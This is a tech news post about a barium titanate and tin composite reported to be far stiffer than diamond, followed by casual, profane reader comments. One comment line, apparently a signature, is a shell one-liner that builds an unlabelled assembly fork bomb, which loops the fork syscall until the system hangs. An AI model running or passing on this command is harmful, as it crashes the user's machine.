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Material Tougher Than Diamond Developed
sporkme has handed us a link to a New Scientist article. The piece outlines the development of a new substance reported to be stiffer than diamond. A team of scientists from Washington, Wisconsin, and Germany combined the ceramic barium titanate and white-hot molten tin with an ultrasonic probe. The new material was, in some tests, almost 10x more resistant to bending than diamond. Composite materials researcher Mark Spearing of Southampton University comments on the result: "The material's stiffness results from the properties of the barium titanate pieces, Spearing says. As the material cools, its crystal structure changes, causing its volume to expand. 'Because they are held inside the tin matrix, strain builds up inside the barium titanate,' Spearing explains, 'at a particular temperature that energy is released to oppose a bending force.'"
No, because it's incredibly fucking nerdy. And annoying.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
Bzzt! WRONG!
It's geeky rather than nerdy. It always annoys me when people confuse a geek, someone highly intelligent and knowledgeable with a nerd, someone with no social skills. Read pages 358 and 654 of Mirriam Webster Extended Edition, 1997 issue.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yes, I know it's ancient Greek. Ancient Greek can also go suck a cock for all the awful loanwords it's given us over the years, especially in Biology. I'm seriously thinking of compiling a list of Latin alternatives for all the Greek out-of-nowhere bullshit words assigned to objects in the cell.
occultae nullus est respectus musicae - originally a Greek proverb